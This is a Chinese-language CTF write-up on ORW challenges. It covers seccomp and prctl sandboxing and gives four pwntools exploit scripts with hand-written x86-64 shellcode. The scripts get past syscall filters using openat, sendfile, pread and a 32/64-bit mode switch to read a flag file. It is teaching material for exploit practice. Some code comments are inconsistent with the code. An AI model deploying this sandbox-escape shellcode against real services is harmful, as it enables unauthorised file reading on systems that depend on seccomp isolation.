妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】
# orw 原理
就是有两个函数可以控制函数禁用 prtcl () 和 seccomp ()
# prctl
#include <sys/prctl.h> | |
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); | |
// 主要关注 prctl () 函数的第一个参数,也就是 option, 设定的 option 的值的不同导致黑名单不同,介绍 2 个比较重要的 option | |
// PR_SET_NO_NEW_PRIVS (38) 和 PR_SET_SECCOMP (22) | |
//option 为 38 的情况 | |
// 此时第二个参数设置为 1,则禁用 execve 系统调用且子进程一样受用 | |
prctl(38, 1LL, 0LL, 0LL, 0LL); | |
//option 为 22 的情况 | |
// 此时第二个参数为 1,只允许调用 read/write/_exit (not exit_group)/sigreturn 这几个 syscall | |
// 第二个参数为 2,则为过滤模式,其中对 syscall 的限制通过参数 3 的结构体来自定义过滤规则。 | |
prctl(22, 2LL, &v1); |
# seccomp()
__int64 sandbox() | |
{ | |
__int64 v1; // [rsp+8h] [rbp-8h] | |
// 这里介绍两个重要的宏,SCMP_ACT_ALLOW (0x7fff0000U) SCMP_ACT_KILL ( 0x00000000U) | |
//seccomp 初始化,参数为 0 表示白名单模式,参数为 0x7fff0000U 则为黑名单模式 | |
v1 = seccomp_init(0LL); | |
if ( !v1 ) | |
{ | |
puts("seccomp error"); | |
exit(0); | |
} | |
//seccomp_rule_add 添加规则 | |
//v1 对应上面初始化的返回值 | |
// 0x7fff0000 即对应宏 SCMP_ACT_ALLOW | |
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit | |
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传 0 不做任何限制 | |
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); | |
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); | |
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); | |
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); | |
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL); | |
//seccomp_load-> 将当前 seccomp 过滤器加载到内核中 | |
if ( seccomp_load(v1) < 0 ) | |
{ | |
//seccomp_release-> 释放 seccomp 过滤器状态 | |
// 但对已经 load 的过滤规则不影响 | |
seccomp_release(v1); | |
puts("seccomp error"); | |
exit(0); | |
} | |
return seccomp_release(v1); | |
} |
这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用 $ seccomp-tools dump ./ 文件名
看每一条 if () 语句对应的 goto 哪一行,对应着 kill, 还是 allow
# shellcode 写入哪里,如何执行?
我们发现这里有个 call rdx,进去
发现 call rdx 之后就是我们写的 shellcode!!!
低版本的是用 call rdi 作为索引,之后是 call rdx, 或者有 jmp rsp 也可以
# 整体思路
用 seccomp-tools dump 看哪些函数能用
openopenat 代替,readreadv 代替,writewritev 代替,execveexecveat 代替
read&write 用 sendfile
我们就用 open 打开 flag 文件,read 读取 flag,write 把 flag 写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写 open,read,write 的函数
fp = open ("flag") ,read (fp,buf,0x30),write (1,buf,0x30)
open('./flag')
read(3,buf,0x100) 3 是 fd 描述符,表示读文件,0x100 表示我们读多少
write (1,buf,0x100) 1 是 fd 描述符,表示把它写在屏幕上,0x100 表示我们显示多少在屏幕上
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把 open,read,write 用到的系统调用号,描述符,open 就是把 flag 压进去,read,write 都要描述符,和我们想要读写的内存。rdi 应包含文件描述符,rsi 应包含目标缓冲区地址,rdx 应包含要读取的字节数。
函数被禁止了那就找替代品,还是手搓 55
替代品找不着请听下回分解
# shellcode1
seccomp-tools dump 看了一下发现 open,read,write 都可以用,那就可以直接用 pwntools 中的 sh=shellcraft
# wp1
from pwn import* | |
context(log_level = 'debug', arch = 'amd64', os = 'linux') | |
r=remote("127.0.0.1",39611) | |
buf = 0x0404010 #bss段地址 | |
sh=shellcraft.open('./flag') | |
sh+=shellcraft.read(3,buf,0x100) | |
sh+=shellcraft.write(1,buf,0x100) | |
sh=asm(sh) | |
r.sendline(sh) | |
r.interactive() |
# wp2
from pwn import* | |
context(os="linux",arch='amd64',log_level='debug') | |
io=remote("127.0.0.1",45621) | |
sh=''' | |
xor rax,rax #清空寄存器 | |
xor rdi,rdi | |
xor rsi,rsi | |
xor rdx,rdx | |
mov rax,2 #把open系统调用号存rax,这样我们就可以调用open | |
mov rdi,0x67616c662f2e #0x67616c662f2e(flag)存入rdi,相当于open('./flag') | |
push rdi | |
mov rdi,rsp | |
syscall | |
mov rax,0 #把read系统调用号存rax,这样我们就可以调用read | |
mov rdx,0x30 | |
mov rsi,0x67616c662f2e #read(3,buf,0x30) | |
mov rsi,rsp | |
mov rdi,3 | |
syscall | |
mov rdi,1 | |
mov rax,1 #把write系统调用号存rax,这样我们就可以调用write | |
syscall | |
''' | |
io.sendline(asm(sh)) | |
io.interactive() |
# shellcode2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
这些函数都用不了,那我们就用 openat 代替 open,sendfile 代替 read 和 write
from pwn import * | |
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h']) | |
p = remote("127.0.0.1",33555) | |
shellcode=''' | |
xor rsi,rsi; | |
mov rbx,0x67616c662f; | |
push rbx; | |
mov rdx,0; #设置oflag为0 | |
mov rdi,3; #文件描述符3 | |
mov rsi,rsp | |
mov rax,257; #openat的系统调用号 | |
syscall; | |
mov rsi,3; #in_fd | |
mov r10,200; | |
mov rdi,1; #out_fd | |
mov rax,40; #sendfile的系统调用号 | |
syscall; | |
''' | |
p.send(asm(shellcode)) | |
p.interactive() |
https://kylinxin.github.io/2023/11/26/ORW 题型 /#RW - 缺 - O
https://www.jianshu.com/p/754b0a2ae353
# shellcode3
查看沙箱函数,发现只有 write,fstat,read,mmap 可以用
然后发现 fstat 的系统调用号 5 在 32 位的系统下是 open
# 关于 mmap
先用 read 让可以利用的变量结合上汇编语言跳转到 mmap 的地方
然后去写入我们的 orw_shellcode 就可以得到 flag 了
即用 mmap 开一块内存,切换到 32 位,open, 再到 64 位读 flag
# wp
from pwn import * | |
#p =remote('127.0.0.1', 41893) | |
p = process("./shellcode3") | |
context(log_level = 'debug', os = 'linux', arch = 'amd64') | |
shellcode_read_mmap=''' | |
push 0x40404000 | |
pop rdi | |
push 0x1000 | |
pop rsi | |
push 7 | |
pop rdx | |
xor r8, r8 | |
xor r9, r9 | |
mov r10,33 | |
pop rcx | |
push 9 | |
pop rax | |
syscall | |
xor rdi, rdi | |
push 0x40404000 | |
pop rsi | |
push 0x70 | |
pop rdx | |
xor rax, rax | |
syscall | |
call rsi | |
''' | |
shift_32 = ''' | |
push 0x23 | |
push 0x40404009 | |
retfq | |
''' | |
shellcode_open = ''' | |
mov esp, 0x40404100 | |
push 0 | |
push 0x67616c66 | |
mov ebx, esp | |
xor ecx, ecx | |
mov eax,5 | |
int 0x80 | |
''' | |
shift_64 = ''' | |
push 0x33 | |
push 0x40404029 | |
retfq | |
''' | |
shellcode_read = ''' | |
mov rdi, 3 | |
mov rsi, 0x40404200 | |
mov rdx, 0x60 | |
xor rax, rax | |
syscall | |
''' | |
shellcode_write=''' | |
mov rdi, 1 | |
mov rax, 1 | |
syscall | |
''' | |
shellcode=asm(shellcode_read_mmap) | |
gdb.attach(p) | |
pause() | |
p.send(shellcode) | |
payload = asm(shift_32) | |
payload += asm(shellcode_open) | |
payload += asm(shift_64) | |
payload += asm(shellcode_read) | |
payload += asm(shellcode_write) | |
pause() | |
p.send(payload) | |
p.interactive() |
# shellcode4
发现 read,open,readv,sendfile,execve 都不能用
然后我们可以用 openat 代替 open,pread 代替 read
# wp
from pwn import * | |
context(log_level='debug', arch = "amd64",os= 'linux') | |
#p =remote('127.0.0.1', 39393) | |
p = process("./shellcode4") | |
shellcode = asm(''' | |
xor rax,rax | |
xor rdi,rdi | |
xor rsi,rsi | |
xor rdx,rdx | |
mov rbx,0x67616c66 | |
push rbx | |
mov rdx,0 #设置oflag为0 | |
mov rdi,-100 #文件描述符3 | |
mov rsi,rsp | |
mov rax,257 #openat的系统调用号 | |
syscall | |
mov rdi,3 | |
mov rsi, 0x40450 | |
mov rdx,0x100 | |
mov rax, 17 | |
mov r10, 0 | |
syscall | |
mov rax, 1 | |
mov rdi, 1 | |
syscall | |
''') | |
gdb.attach(p) | |
pause() | |
p.send(shellcode) | |
p.interactive() |